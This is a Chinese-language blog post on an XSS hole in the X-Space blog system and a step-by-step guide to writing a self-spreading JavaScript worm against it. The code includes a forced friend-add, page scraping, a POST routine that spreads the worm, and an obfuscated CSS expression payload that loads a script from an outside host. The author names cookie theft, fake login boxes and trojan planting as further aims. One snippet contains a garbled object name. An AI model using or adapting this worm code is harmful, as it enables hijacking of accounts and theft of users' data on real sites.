昨天将闪吧新社区的博客系统XSS了,它使用X-Space这个开源的PHP+MySQL程序,最新版的X-Space仍然存在严重的XSS漏洞。这个渗透过程没任何难度:http://space.flash8.net/space/?716894。用户可以在自定义CSS时无任何限制地构造任意js代码。由于X-Space经常与Discuz!整合使用(Blog+BBS模式),所以一旦跨站成功,将有可能会威胁到整个系统。
本来准备写worm的,但是碰壁了,由于X-Space并非大量使用AJAX技术,所以这个worm会很难诞生(自身复制性等受到了限制),不过刚刚仔细思考了一下,发现即使这个功能模块本身不是基于AJAX,你的worm也可以使用AJAX技术或者同步的XMLHttpRequest()/XMLHTTP技术来实现数据的后台传输。今天是除夕,没办法花过多的时间继续渗透,下面我将总结web2.0 worm的一些技术细节,有不足之处,我会后续补充。
这里说的web2.0 worm是指js脚本编写的蠕虫,现在流行的也就是这个,我的这篇文章《ActionScript的XSS黑客文化》正在严重期待as脚本的黑客文化兴起啊^^
----------------------------------------------------------------------------------------------------------------------------
web2.0 worm会无声无息地获取与发送数据,一般情况下可以分为以下过程:
1)、蠕虫初始化
2)、数据的获取与筛选
3)、构造evil数据
4)、发送数据
下面我就以这个过程为顺序来说说对应的js代码应该如何写。
一、蠕虫初始化
技术就是双刃剑,现在的js worm一般都会使用XMLHttpRequest对象,因为无论是异步的数据传输(即AJAX,XMLHttpRequest的open方法的第三个参数为true,表示开启异步)还是同步的数据传输(XMLHttpRequest对象的open方法的第三个参数为false时,默认为true)都是基于这个XMLHttpRequest对象的!为了兼容主流的IE与FF浏览器,我们可以这样来创建XMLHttpRequest对象:
var xmlhttp = false;
if(window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest(); //FF等非IE内核浏览器,就直接这样创建XMLHttpRequest对象
}
else if(window.ActiveXObject){
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); //IE内核的浏览器,使用ActiveXObject组件来创建不同版本的XMLHttpRequest对象
if(!xmlhttp){xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");}
}
//cosAjax类改自X-Space的Ajax类,删除了对蠕虫不利的代码
function cosAjax(recvType) {
var aj = new Object();
aj.targetUrl = '';
aj.sendString = '';
aj.recvType = recvType ? recvType : 'HTML';
aj.resultHandle = null;
aj.createXMLHttpRequest = function() {
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
if(request) {
return request;
}
} catch(e) {
}
}
}
return request;
}
aj.XMLHttpRequest = aj.createXMLHttpRequest();
aj.processHandle = function() {
if(aj.XMLHttpRequest.readyState == 4) {
if(aj.XMLHttpRequest.status == 200) {
if(aj.recvType == 'HTML') {
aj.resultHandle(aj.XMLHttpRequest.responseText);
} else if(aj.recvType == 'XML') {
aj.resultHandle(aj.XMLHttpRequest.responseXML);
}
}
}
}
aj.get = function(targetUrl, resultHandle) {
aj.targetUrl = targetUrl;
aj.XMLHttpRequest.onreadystatechange = aj.processHandle;
aj.resultHandle = resultHandle;
if(window.XMLHttpRequest) {
aj.XMLHttpRequest.open('GET', aj.targetUrl);
aj.XMLHttpRequest.send(null);
} else {
aj.XMLHttpRequest.open("GET", targetUrl, true);
aj.XMLHttpRequest.send();
}
}
aj.post = function(targetUrl, sendString, resultHandle) {
aj.targetUrl = targetUrl;
aj.sendString = sendString;
aj.XMLHttpRequest.onreadystatechange = aj.processHandle;
aj.resultHandle = resultHandle;
aj.XMLHttpRequest.open('POST', targetUrl);
aj.XMLHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
aj.XMLHttpRequest.send(aj.sendString);
}
return aj;
}
//addfriend函数将ID为716894的人加为好友
function addfriend(uid) {
var x = new cosAjax('XML'); //初始化cosAjax对象实例,这样我们就可以使用cosAjax中的方法
x.get(siteUrl+'/batch.common.php?action=joinfriend&uid='+uid,null);
}
addfriend('716894');
二、数据的获取与筛选
刚刚介绍的那个独立功能模块,addfriend函数就作为一个简单的数据接收器,它接收的数据过于简单,也就不用筛选,更别提构造复杂的evil数据了。仔细看addfriend函数体,x.get方法的第一个参数就已经将uid作为url的一部分来处理了,这时,蠕虫的数据获取、筛选、构造与发送功能就集成在一起完成。这个过程使用的x.get方法代码如下:
aj.get = function(targetUrl, resultHandle) { //第二个参数resultHandle为回调处理函数,这里给其赋予null空值
aj.targetUrl = targetUrl;
aj.XMLHttpRequest.onreadystatechange = aj.processHandle;
//使用异步数据传输时,有个状态判断,这个processHandle就作为这期间的判断函数
aj.resultHandle = resultHandle;
//数据回调处理函数,当数据传输完毕时调用,用来处理返回的数据
if(window.XMLHttpRequest) {
aj.XMLHttpRequest.open('GET', aj.targetUrl);
aj.XMLHttpRequest.send(null);
} else {
aj.XMLHttpRequest.open("GET", targetUrl, true); //open的第三个参数为true,数据异步传输,这才是AJAX
aj.XMLHttpRequest.send(); //open的第一个参数为GET时,send发送空值,即数据采用GET方式传播(对应于POST)
}
}
举例:获取我博客http://hi.baidu.com/ycosxhack首页公告第二条的内容:“转载我发布的专杀时,务必保持源码的完整性。这里有了VBS写的专杀模板,你可以学习并写出自己的专杀工具。”来看看实现方法:
<script>
//首先初始我们的XMLHttpRequest对象
var xmlhttp = false;
if(window.XMLHttpxmlhttp){
xmlhttp = new XMLHttpxmlhttp();
}
else if(window.ActiveXObject){
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
if(!xmlhttp){xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");}
}
getit();
function getit() {
src = "http://hi.baidu.com/ycosxhack";
//目标页面
s = gdata(src);
//调用gdata函数,gdata函数将同步获取目标页面的HTML全部内容后返回
re = /writemylink1\(\"(.*?)\",\"病毒(.*?)\",\"(.*?)\"\)/i
//创建正则表达式,用来匹配查找
r = s.match(re);
//match匹配查找出re正则表达式中的值,并返回一个数组
n = r[3];
//数组的第四个元素(即r[3])就是我们要获得的目标数据
alert(n);
//弹出
}
function gdata(url){
xmlhttp.open("GET", url, false); //open的第三个参数为false,表示XMLHttpRequest将同步处理数据
xmlhttp.send();
return xmlhttp.responseText; //返回目标页面的HTML全部内容
}
</script>
三、构造与发送evil数据
构造邪恶的数据是个大学问,能使用的技术手段非常之多,根据不同的环境构造对应的利用代码。我不可能说全,有什么邪恶的手段你就自己构思了,比如:盗取用户cookie,进一步向服务端渗透,破坏用户私人数据,构造伪登录框盗取用户帐号、密码,挂马,传播蠕虫代码等等。我就来说说“传播蠕虫代码”吧。
上次我分析百度空间爆发的那只蠕虫,它会将自身关键代码片断复制到空间其它受害用户的CSS中。这样蠕虫的传播性就出来了。假设服务端接收数据的代码如下(我以PHP为例,文件名为target.php):
$yourdata = $_POST['evildata'];
<form method="post" name="theform" id="theform" action="target.php" enctype="multipart/form-data">
<textarea name="evildata">
your evil data
</textarea>
<button type="submit" name="submit">保存修改</button>
</form>
我们的蠕虫不是已经有了外壳+数据接收器了么?说权威点,就是这个蠕虫已经作为客户端与服务端通信的中介了,依靠的就是XMLHttpRequest对象。既然天时、地利皆有,那就继续制作蠕虫的数据发送器吧。将上面传统的数据提交过程演变为具有web2.0特色的数据提交过程(即使用XMLHttpRequest对象):
//首先初始我们的XMLHttpRequest对象
var xmlhttp = false;
if(window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest();
}
else if(window.ActiveXObject){
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
if(!xmlhttp){xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");}
}
url = "target.php"; //目标url
yourdata = "your evil data"; //你自己构造的邪恶数据,传播的蠕虫代码片段
params = "evildata=" + yourdata; //处理成“属性=值”这样的形成
pdata(url,params);
function pdata(url,data){
xmlhttp.open("POST",url,false); //open方法的第三个参数为false,数据同步传输
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.send(data); //发送我们处理好的数据,注意open的第一个参数为POST时,send发送非空数据
return xmlhttp.responseText; //返回服务端数据处理的结果
//alert(xmlhttp.responseText);
}
body{cos:expression(eval(String.fromCharCode(105,61,34,102,117,110,99,116,105,111,110,32,108,111,97,100,40,41,123,118,97,114,32,120,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,83,67,82,73,80,84,39,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,99,111,115,98,108,111,103,46,99,111,109,47,120,102,108,97,115,104,46,106,115,39,59,120,46,100,101,102,101,114,61,116,114,117,101,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,72,69,65,68,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,120,41,125,59,102,117,110,99,116,105,111,110,32,105,110,106,101,99,116,40,41,123,119,105,110,100,111,119,46,115,101,116,84,105,109,101,111,117,116,40,39,108,111,97,100,40,41,39,44,49,48,48,48,41,125,59,105,102,40,119,105,110,100,111,119,46,120,33,61,49,41,123,119,105,110,100,111,119,46,120,61,49,59,105,110,106,101,99,116,40,41,125,59,34,59,101,120,101,99,83,99,114,105,112,116,40,105,41)))}
这样就将这一系列过程介绍完了,这里介绍的是常规思路:蠕虫外壳+蠕虫数据接收器+数据处理中心+蠕虫数据发送器。最为挑战的环节是:我们要如何制作这个数据处理中心(包括数据的筛选与构造)。数据处理中心是蠕虫的大脑。当然这个大脑是离不开其他部件的配合了。本文作为一个引子,相对来说有些初级,web2.0 worm采用的技术手段根据其所处环境不同而不同,不过它们的基本框架是一样的。